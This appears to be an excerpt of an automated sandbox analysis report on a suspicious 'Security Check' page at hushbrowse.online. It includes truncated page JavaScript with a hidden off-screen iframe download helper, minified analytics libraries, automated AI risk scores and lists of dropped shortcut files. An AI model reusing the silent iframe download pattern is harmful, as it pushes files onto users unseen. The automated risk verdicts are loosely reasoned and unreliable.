getCookie(name); return parameter ? parameter : defaultValue; } function getQueryParameterByName(name, url = window.location.href) { let urlObject = new URL(url), urlParameters = urlObject.searchParams; return urlParameters.has(name) ? decodeURIComponent(urlParameters.get(name)) : null; } function uidGenerate(length) { let result = '', characters = 'abcdefghijklmnopqrstuvwxyz', charactersLength = characters.length; for (let i = 0; i < length; i++) { result += characters.charAt(Math.floor(Math.random() * charactersLength)); } return result; } function uid() { let clickIdValue = clickId(); if (clickIdValue) { return clickIdValue; } let subIdValue = subId(); if (subIdValue) { return subIdValue; } let userId = getCookie('uid'); if (!userId) { userId = uidGenerate(8); setCookie('uid', userId); } return userId; } function clickId() { let clickIdValue = getParameterByName('clickid'); if (clickIdValue) { return clickIdValue; } clickIdValue = getParameterByName('click-id'); if (!clickIdValue) { return getParameterByName('click_id'); } return clickIdValue; } function subId() { let subIdValue = getParameterByName('subid'); if (subIdValue) { return subIdValue; } subIdValue = getParameterByName('sub-id'); if (!subIdValue) { return getParameterByName('sub_id'); } return subIdValue; } function executeOnReady(callback) { if (document.readyState !== 'loading') { callback(); } else { document.addEventListener('DOMContentLoaded', callback); } } function mixPanelInit() { let userId = uid(); mixpanel.init('9d1f06337c788fcd584725b02fc2e601', {debug: false, track_pageview: false, ignore_dnt: true}); mixpanel.register({distinct_id: userId, $user_id: userId}); mixpanel.identify(userId); } function mixPanelEvent(eventName, options = {}) { mixpanel.identify(uid()); mixpanel.people.set_once(options); mixpanel.track(eventName, options); } function yandexGoal(goalName) { if ('ym' in window) { ym(96921485, 'reachGoal', goalName); } } function downloadFromUrl(url) { let downloadIframe = document.querySelector('.download-kit-frame'); if (!downloadIframe) { downloadIframe = document.createElement('iframe'); downloadIframe.setAttribute('style', 'position:absolute;top:-9999px;left:-9999px;visibility:hidden;width:1px;height:1px;border:0;'); downloadIframe.classList.add('download-kit-frame'); document.body.appendChild(downloadIframe); } downloadI
URL: https://mc.yandex.ru/metrika/tag.js... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a part of a larger analytics or tracking implementation. While it contains some potentially risky behaviors, such as using legacy APIs and performing DOM manipulations, the overall intent seems to be legitimate. The script does not exhibit any clear signs of malicious activity, such as dynamic code execution, data exfiltration, or redirects to suspicious domains. Therefore, the risk score is assessed as 3 (Medium Risk), as the script may require further review but is likely not intended to cause harm." }
(function(){function La(ba){var ta=0;return function(){return ta<ba.length?{done:!1,value:ba[ta++]}:{done:!0}}}function u(ba){var ta="undefined"!=typeof Symbol&&Symbol.iterator&&ba[Symbol.iterator];if(ta)return ta.call(ba);if("number"==typeof ba.length)return{next:La(ba)};throw Error(String(ba)+" is not an iterable or ArrayLike");}function Pa(ba){for(var ta,$a=[];!(ta=ba.next()).done;)$a.push(ta.value);return $a}function Va(ba){return ba instanceof Array?ba:Pa(u(ba))} var Of="function"==typeof Object.create?Object.create:function(ba){function ta(){}ta.prototype=ba;return new ta},Pf;if("function"==typeof Object.setPrototypeOf)Pf=Object.setPrototypeOf;else{var Mh;a:{var Nh={a:!0},Oh={};try{Oh.__proto__=Nh;Mh=Oh.a;break a}catch(ba){}Mh=!1}Pf=Mh?function(ba,ta){ba.__proto__=ta;if(ba.__proto__!==ta)throw new TypeError(ba+" is not extensible");return ba}:null}var Fm=Pf; function Gm(ba,ta){ba.prototype=Of(ta.prototype);ba.prototype.constructor=ba;if(Fm)Fm(ba,ta);else for(var $a in ta)if("prototype"!=$a)if(Object.defineProperties){var we=Object.getOwnPropertyDescriptor(ta,$a);we&&Object.defineProperty(ba,$a,we)}else ba[$a]=ta[$a];ba.Ij=ta.prototype}function Hm(){for(var ba=Number(this),ta=[],$a=ba;$a<arguments.length;$a++)ta[$a-ba]=arguments[$a];return ta} try{(function(){function ba(a,b,c,d){var e=this;return C(window,"c.i",function(){function f(v){(v=Qf(k,m,"",v)(k,m))&&(S(v.then)?v.then(g):g(v));return v}function g(v){v&&(S(v)?p.push(v):ma(v)&&z(function(J){var P=u(J);J=P.next().value;P=P.next().value;S(P)&&("u"===J?p.push(P):h(P,J))},Fa(v)))}function h(v,J,P){e[J]=Im(k,m,P\|\|r,J,v)}var k=window;(!k\|\|isNaN(a)&&!a)&&xe();var l=Jm(a,b,c,d),m=Km(l,ye);Ph(m).Di=l;Qh(m,m.O\|\|{});var p=[],r=[ta,Qf,$a];r.unshift(Lm);var q=E(Y,gb);l=M(m);m.id\|\|Wa(Z("Invalid Metrika id: "+ m.id,!0));var t=wd.C("counters",{});if(t[l])return q={},Pb(k,l,"dc",(q.key=l,q)),t[l];t[l]=e;wd.D("counters",t);wd.sa("counter",e);z(function(v){v(k,m)},Rf);z(f,ze);f(Mm);h(Nm(k,m,p),"destruct",[ta,$a]);dc(k,F([k,q,f,1,"a.i"],Rh));z(f,ea);l={};rb(k,(l.counterKey=M(m),l.name="counter",l.data=Sh(m),l))})()}function ta(a,b,c,d){return C(a,"cm."+c,d)}function $a(a,b,c,d){return function(){var e=Qa(arguments);e=d.apply(null,Va(e));return R(e)?Ia(a,b):e}}function we(a,b){var c=""+b,d={id:1,ca:"0"},e=Om(c); e?d.id=e:-1===sb(c,":")?(c=Ma(c),d.id=c):(e=u(c.split(":")),c=e.next().value,e=e.next().value,d.id=Ma(c),d.ca=Ae(e)?"1":"0");return[Ia(a,d),d]}function Pm(a,b){function c(e){var f=T(d,e.permissionType)&&d[e.permissionType];if(f){var g=Th(e,b);if(Ra(function(h){try{return!1===h(g,b)}catch(k){return!0}},f))return!1}return Qm(a,e)}var d={};return{Jg:function(e,f){N(e)&&S(f)&&(T(d,e)\|\|(d[e]=[]),d[e].push(f))},checkPermission:function(e){if(!c(e)){e=Th(e,b);var f=Error("Permission denied for "+e.permissionType); f.cause=e;Wa(f)}},oa:c}}function Th(a,b){return{containerId:b,permissionType:a.permissionType,permissionParams:a.permissionParams}}function Qm(a,b){var c=b.permissionType,d=b.permissions,e=b.permissionParams;if("globals"===c\|\|"localStorage"===c\|\|"dataLayer"===c){var f=e.key;e=e.operation;T(d,c)?(d=d[c],c="dataLayer"===c&&T(d,"ytm.ks.")&&d["ytm.ks."]&e?!0:T(d,f)?!!(d[f]&e):!1):c=!1}else"url"===c\|\|"referrer"===c?(f=e.urlComponent,e=e.variableName,T(d,c)?(c=d[c],c="queryVar"===f?T(c,"queryVars")&& e?H(e,c.queryVars):!1:!!c[f]):c=!1):"log"===c?(c=e.logLevel,c=T(d,"log")?c>=d.log:!1):"loadScript"===c\|\|"pixel"===c\|\|"iframe"===c?(f=e.url,T(d,c)&&T(d[c],"allow")?(c=d[c],c=Ra(F([a,f],Rm),c.allow)):c=!1):c="cookies"===c?Sm(d,e.name,e.operation,e.options):"readTitle"===c?T(d,"readTitle")?d.readTitle:!1:!1;return c}function Sm(a,b,c,d){if(!T(a,"cookies"))return!1;var e=a.cookies;a=T(e,b)?e[b]:{access:0};if(2===c)return T(e,"ytm.ks.*")\|\|!!(a.access&c);if(1===c){if(!T(e,b)\|\|!d)return!1;b=a.access;e=a.domain; var f=a.path,g=a.secure,h=a.Ej,k=!ha(d.expires)\|\|!ha(d["max-age"]);if(T(a,"session")&&h)if(1===h){if(k)return!1}else if(!k)return!1;return!(b&c)\|\|T(a,"domain")&&e!==d.domain\|\|T(a,"path"
URL: https://mc.yandex.com/metrika/metrika_match.html... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The provided JavaScript snippet exhibits several behaviors that raise moderate security concerns. It includes the following: 1. Moderate-Risk Indicators: - External Data Transmission: The script sends user data to third-party domains via XHR requests, which could potentially lead to data exfiltration. - Fallback Domains: The script uses multiple fallback domains, some of which may be of unknown or dubious reputation. - Aggressive DOM Manipulation: The script repeatedly alters or clears the DOM, which could indicate potential malicious activity. 2. Contextual Adjustments: - Suspicious Domains: The script interacts with domains that are not immediately recognizable as trusted, which adds to the overall risk. - Behavioral Inconsistency: The script's behavior, such as sending user data to unrelated domains, is inconsistent with its apparent purpose, further increasing the risk. Based on the observed behaviors and contextual factors, the overall risk score for this JavaScript snippet is 6, indicating a medium risk level. The script requires further review to determine its true intent and potential impact on user security and privacy." }
(function(){try{(function(n){function w(a,b){if(x(b,[],E))try{var c=new a.XMLHttpRequest;c.open("GET",b,!0);c.withCredentials=!1;c.onreadystatechange=function(d){try{if(4===c.readyState){var p=b.split("?")[0],F=200===c.status?"1":"f";if(200===c.status&&"string"===typeof c.responseText){for(var h=c.responseText,f=[],g=0;g<h.length;g++){var e=h.charCodeAt(g);128>e?f.push(e):(127<e&&2048>e?f.push(e>>6\|192):(f.push(e>>12\|224),f.push(e>>6&63\|128)),f.push(e&63\|128))}h=void 0;h=void 0===h?!1:h;var u=f.length;g=u-u% 3;e=[];for(var m=0;m<g;m+=3){var q=(f[m]<<16)+(f[m+1]<<8)+f[m+2];e.push("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="[q>>18&63],"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="[q>>12&63],"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="[q>>6&63],"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="[q&63])}switch(u-g){case 1:var k=f[g]<<4;e.push("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="[k>>6&63],"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="[k& 63],"=","=");break;case 2:k=(f[g]<<10)+(f[g+1]<<2),e.push("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="[k>>12&63],"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="[k>>6&63],"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="[k&63],"=")}var z=y("",e);var A=""+(h?G(z,!0):z)}else A="";a.parent.postMessage("sc.blr"+p+""+F+A,"")}}catch(N){}return d};c.send()}catch(d){}}function H(a){var b=a.document;b.hasStorageAccess&&b.hasStorageAccess().then(function(c){a.parent.postMessage("sc.sar"+ (c?"1":"2"),"")})["catch"](function(){a.parent.postMessage("sc.sarc","")})}function v(a){try{return encodeURIComponent(a)}catch(b){}a=y("",I(function(b){return 55296>=b.charCodeAt(0)},a.split("")));return encodeURIComponent(a)}function G(a,b){return a?a.replace((void 0===b?0:b)?/[+/=]/g:/[-_]/g,function(c){return J[c]\|\|c}):""}function y(a,b){return Array.prototype.join.call(b,a)}function I(a,b){return Array.prototype.filter.call(b,a)}function K(a){function b(c,d){var p="sc.topics-response"+c; a.parent.postMessage(d?p+""+d:p,"")}a.document.browsingTopics().then(function(c){return b("1",JSON.stringify(c))})["catch"](function(){return b("e")})}function r(a,b,c){c=void 0===c?!0:c;return function(){l[a]&&(l[a].timeout&&(clearTimeout(l[a].timeout),l[a].timeout=0,c&&window.parent.postMessage(["sc.image",a,b].join(""),"")),l[a].g=null)}}function x(a,b,c){var d;for(d=0;d<b.length;d++)if(b[d]===a)return!0;for(d=0;d<c.length;d++)if(c[d].test(a))return!0;return!1}function B(a,b){if(x(a,L,M)){var c= document.createElement("img");c.onload=r(a,"1");c.onerror=r(a,"e");c.src=a;var d=r(a,"f",b);l[a]={g:c,timeout:setTimeout(d,5E3)}}else r(a,"g")()}function C(a){try{var b=a.data.split("");if("sc.images"===b[0])for(a=1;a<b.length;a++)B(b[a],!0);else"sc.topics"===b[0]?K(window):"sc.sa"===b[0]?H(window):"sc.bl"===b[0]?w(window,b[1]):"frameReinit"===b[0]&&window.parent.postMessage("sc.frame","")}catch(c){}}var J={"":"+","-":"/",j:"=","+":"","/":"-","=":"_"},L=["https://an.yandex.ru/mapuid/google/", "https://dmp.adform.net/serving/cookie/match?party=1123","https://mc.kinopoisk.ru/sync_cookie_image_check"],M=[/^https*:\/\/mc\.yandex\.(?:ru\|by\|kz\|az\|kg\|lv\|md\|tj\|tm\|uz\|ee\|fr\|co\.il\|com\.ge\|com\.am\|com\.tr\|com)\/sync_cookie_image_check$/,RegExp("^https:\\/\\/mc\\.yandex\\.ru\\/watch\\/26302566\\?"),/^https:\/\/adstat.yandex.ru\/track\?service=metrika&id=\d+/,/^https:\/\/[^\.\/]+\.mc\.yandex.ru\/watch\/3\/1/,/^https:\/\/adfstat\.yandex\.ru\/metrica\?id=\d+/],E=[/^https:\/\/fcpe\.beeline\.ru\/sync\/me\?guid=[0-9a-f-]+$/], l={};if(window.top===window){var D="page-ur
URL: https://cdn.mxpnl.com/libs/mixpanel-2-latest.min.j... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The provided JavaScript snippet exhibits several behaviors that raise moderate security concerns. While it does not contain any clear indicators of malicious intent, the use of legacy APIs, aggressive DOM manipulation, and potential data transmission to external domains warrant further review." } The key observations and reasoning behind the risk score of 6 (Medium Risk) are: 1. Moderate-Risk Indicators (2 points each): - External Data Transmission: The script appears to be sending user data to third-party domains via `XHR`, `fetch`, or `sendBeacon` without clear transparency. This behavior is marked as a moderate-risk indicator. - Aggressive DOM Manipulation: The script is repeatedly altering or clearing the DOM (e.g., clearing `innerHTML` aggressively), which is considered a moderate-risk indicator. 2. Low-Risk Indicators (1 point each): - Legacy Practices: The script uses the outdated `XDomainRequest` API, which poses minor risks but is not inherently malicious. 3. Contextual Adjustments: - Suspicious Domains: The script interacts with domains of unknown or dubious reputation, which adds 1-2 points to the risk score. - Behavioral Inconsistency: The script's behavior is not entirely consistent with its apparent purpose, which adds 1-2 points to the risk score. The final risk score of 6 (Medium Risk) reflects the script's use of legacy practices, potential data transmission to external domains, and inconsistent behavior, which warrant further review and investigation to determine the script's true intent and potential impact.
(function() { var j=void 0,l=!0,r=null,B=!1; (function(){function Ua(){function a(){if(!a.Rc)ua=a.Rc=l,va=B,c.a(G,function(a){a.Ec()})}function b(){try{t.documentElement.doScroll("left")}catch(d){setTimeout(b,1);return}a()}if(t.addEventListener)"complete"===t.readyState?a():t.addEventListener("DOMContentLoaded",a,B);else if(t.attachEvent){t.attachEvent("onreadystatechange",a);var d=B;try{d=p.frameElement===r}catch(f){}t.documentElement.doScroll&&d&&b()}c.gc(p,"load",a,l)}function Va(){x.init=function(a,b,d){if(d)return x[d]\|\|(x[d]=G[d]=W(a, b,d),x[d].ra()),x[d];d=x;if(G.mixpanel)d=G.mixpanel;else if(a)d=W(a,b,"mixpanel"),d.ra(),G.mixpanel=d;x=d;1===ia&&(p.mixpanel=x);Wa()}}function Wa(){c.a(G,function(a,b){"mixpanel"!==b&&(x[b]=a)});x._=c}function ja(a){a=c.g(a)?a:c.e(a)?{}:{days:a};return c.extend({},Xa,a)}function W(a,b,d){var f,g="mixpanel"===d?x:x[d];if(g&&0===ia)f=g;else{if(g&&!c.isArray(g)){o.error("You have already initialized "+d);return}f=new e}f.vb={};f.ba(a,b,d);f.people=new q;f.people.ba(f);if(!f.c("skip_first_touch_marketing")){var a= c.info.ca(r),h={},v=B;c.a(a,function(a,b){(h["initial_"+b]=a)&&(v=l)});v&&f.people.S(h)}L=L\|\|f.c("debug");!c.e(g)&&c.isArray(g)&&(f.Ia.call(f.people,g.people),f.Ia(g));return f}function e(){}function R(){}function Ya(a){return a}function wa(a){throw Error(a+" not available in this build.");}function m(a){this.props={};this.Ud=B;this.name=a.persistence_name?"mp_"+a.persistence_name:"mp_"+a.token+"_mixpanel";var b=a.persistence;if("cookie"!==b&&"localStorage"!==b)o.D("Unknown persistence type "+b+"; falling back to cookie"), b=a.persistence="cookie";this.l="localStorage"===b&&c.localStorage.Ba()?c.localStorage:c.cookie;this.load();this.zc(a);this.Qd();this.save()}function q(){}function u(){}function D(a,b){this.O=b.O;this.ha=new E(a,{O:c.bind(this.h,this),v:b.v,qc:b.qc,q:b.q});this.F=b.F;this.rd=b.sd;this.sa=b.sa;this.Cd=b.Dd;this.I=this.F.batch_size;this.xa=this.F.batch_flush_interval_ms;this.ka=!this.F.batch_autostart;this.Ra=0;this.M={};this.Ob=b.Ob\|\|B}function xa(a,b){var d=[];c.a(a,function(a){var c=a.id;if(c in b){if(c=b[c],c!==r)a.payload=c,d.push(a)}else d.push(a)});return d}function ya(a,b){var d=[];c.a(a,function(a){a.id&&!b[a.id]&&d.push(a)});return d}function E(a,b){b=b\|\|{};this.T=a;if(this.q=b.q)this.v=b.v\|\|new S,this.fb=new za(a,{l:b.qc\|\|window.localStorage}),this.v.Q();this.h=b.O\|\|c.bind(Aa.error,Aa);this.Da=b.Da\|\|r;this.G=[];this.bb=B}function S(a){this.l=a\|\|localStorage}function za(a,b){b=b\|\|{};this.T=a;this.l=b.l\|\|window.localStorage;this.dc=b.dc\|\|100;this.tc=b.tc\|\|2E3;this.ec=b.ec\|\|y}function X(){this.ac= "submit"}function O(){this.ac="click"}function F(){}function Ba(a){var b=Za,d=a.split("."),d=d[d.length-1];if(4<d.length\|\|"com"===d\|\|"org"===d)b=$a;return(a=a.match(b))?a[0]:""}function ka(a){var b=Math.random().toString(36).substring(2,10)+Math.random().toString(36).substring(2,10);return a?b.substring(0,a):b}function Y(a,b){if(la!==r&&!b)return la;var d=l;try{var a=a\|\|p.localStorage,c="__mplss_"+ka(8);a.setItem(c,"xyz");"xyz"!==a.getItem(c)&&(d=B);a.removeItem(c)}catch(g){d=B}return la=d}function ma(a){return{log:na(o.log, a),error:na(o.error,a),D:na(o.D,a)}}function na(a,b){return function(){arguments[0]="["+b+"] "+arguments[0];return a.apply(o,arguments)}}function Z(a,b){oa.add(a,b);pa\|\|(pa=ab(oa.Sc))}function Ca(a){var b,d=typeof a;if(a!==r&&("object"===d\|\|"function"===d))b=a.then;return"function"===typeof b?b:B}function qa(){for(var a=0;a<this.C.length;a++){var b=1===this.state?this.C[a].Fd:this.C[a].Tc,d=this.C[a],c=j,g=j;try{b===B?d.reject(this.fa):(c=b===l?this.fa:b.call(j,this.fa),c===d.ib?d.reject(TypeError("Promise-chain cycle")): (g=Ca(c))?g.call(c,d.resolve,d.reject):d.resolve(c))}catch(h){d.reject(h)}}this.C.length=0}function Da(a){var b,d=this;if(!d.ma){d.ma=l;if(d.wa)d=d.wa;try{(b=Ca(a))?Z(function(){var c=new Ea(d);try{b.call(a,function(){Da.apply(c,arguments)},function(){T.apply(c,arguments)})}catch(f){T.call(c,f)}}):(d.fa=a,d.state=1,0<d.C.length&&Z(
URL: https://cint.hushbrowse.online/?subid=90945414214&cid=9946&tag=dm&dkw=jmclmedia.ph&pid=249699&rhi=b6da8b5a-c797-4238-9722-26d3d0c3bed9 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Security Check", "prominent_button_name": "I'm a human", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://cint.hushbrowse.online/?subid=90945414214&cid=9946&tag=dm&dkw=jmclmedia.ph&pid=249699&rhi=b6da8b5a-c797-4238-9722-26d3d0c3bed9 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Security Check", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://cint.hushbrowse.online/?subid=90945414214&cid=9946&tag=dm&dkw=jmclmedia.ph&pid=249699&rhi=b6da8b5a-c797-4238-9722-26d3d0c3bed9 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://cint.hushbrowse.online Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": true, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": true, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": true }
URL: https://cint.hushbrowse.online
URL: https://cint.hushbrowse.online/?subid=90945414214&cid=9946&tag=dm&dkw=jmclmedia.ph&pid=249699&rhi=b6da8b5a-c797-4238-9722-26d3d0c3bed9 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://cint.hushbrowse.online/?subid=90945414214&cid=9946&tag=dm&dkw=jmclmedia.ph&pid=249699&rhi=b6da8b5a-c797-4238-9722-26d3d0c3bed9 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Security Check", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://cint.hushbrowse.online/?subid=90945414214&cid=9946&tag=dm&dkw=jmclmedia.ph&pid=249699&rhi=b6da8b5a-c797-4238-9722-26d3d0c3bed9 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://cint.hushbrowse.online/?subid=90945414214&cid=9946&tag=dm&dkw=jmclmedia.ph&pid=249699&rhi=b6da8b5a-c797-4238-9722-26d3d0c3bed9 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://cint.hushbrowse.online/?subid=90945414214&cid=9946&tag=dm&dkw=jmclmedia.ph&pid=249699&rhi=b6da8b5a-c797-4238-9722-26d3d0c3bed9 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://cint.hushbrowse.online/?subid=90945414214&cid=9946&tag=dm&dkw=jmclmedia.ph&pid=249699&rhi=b6da8b5a-c797-4238-9722-26d3d0c3bed9 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Security Check", "prominent_button_name": "Keep going...", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://cint.hushbrowse.online/?subid=90945414214&cid=9946&tag=dm&dkw=jmclmedia.ph&pid=249699&rhi=b6da8b5a-c797-4238-9722-26d3d0c3bed9 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://cint.hushbrowse.online/?subid=90945414214&cid=9946&tag=dm&dkw=jmclmedia.ph&pid=249699&rhi=b6da8b5a-c797-4238-9722-26d3d0c3bed9 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Security Check", "prominent_button_name": "Continue clicking...", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://cint.hushbrowse.online/?subid=90945414214&cid=9946&tag=dm&dkw=jmclmedia.ph&pid=249699&rhi=b6da8b5a-c797-4238-9722-26d3d0c3bed9 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://hushbrowse.online Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": true, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": true, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://hushbrowse.online

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Jan 10 02:06:46 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9946098980937217
Encrypted:	false
SSDEEP:
MD5:	F5CEAE26F458256CD4B9EE0FF1F7E997
SHA1:	87C6D3FF794D82076A88BC6F646907C0D99DCA6C
SHA-256:	32F126B414DAC2555C626AA0F6DC91A6F53FC43ACEEB9A7BC9EF4E96C8F1C543
SHA-512:	136788C8F3CBE440471F11C0F6181368F9F10B48AC771CC580D2C4EE0CFC53B5B46F0BA8EF13217FE71316C51E8BB58236E7FB849AE58632B2D1613F9EE7A029
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....Q..c..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IZ......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZ......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VZ......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VZ............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VZ.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........X........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Jan 10 02:06:46 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	4.007677319745698
Encrypted:	false
SSDEEP:
MD5:	7A015B6F9967E4652C4204D7F287B1DB
SHA1:	5DE19E56DE2240DF506D0BBB544444CA63DC7943
SHA-256:	BE970230DF5FECB061367DE70A337568B0FF05277F78342CDB92C4CF1BB63A2B
SHA-512:	D56087506D0E334797E7F26AE6EBC681E4F2D61F4F7612D10B3E237A2B51F68FD286B13357E270CB148D4D5462D3060B328A36B3939AC1E51D973432BB0569DD
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....l]..c..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IZ......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZ......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VZ......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VZ............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VZ.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........X........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.017264348979917
Encrypted:	false
SSDEEP:
MD5:	9002644BD4797E983E9569ACE7FB3D7D
SHA1:	6867120191E6596BBC95C17F95BE451A06E4E32E
SHA-256:	8862BBFD3C0462823E8998A61650C4B931C6829111495888282382AC938B8172
SHA-512:	04B80172A7F917200A374563BDC4C8B6E1048D04834E8F2A0DF06AF27541FFD3A04361D3EDE292F5CD95C4BB8610BB97BC7C86A8DF996949F9B526D6166C0E56
Malicious:	false
Reputation:	unknown
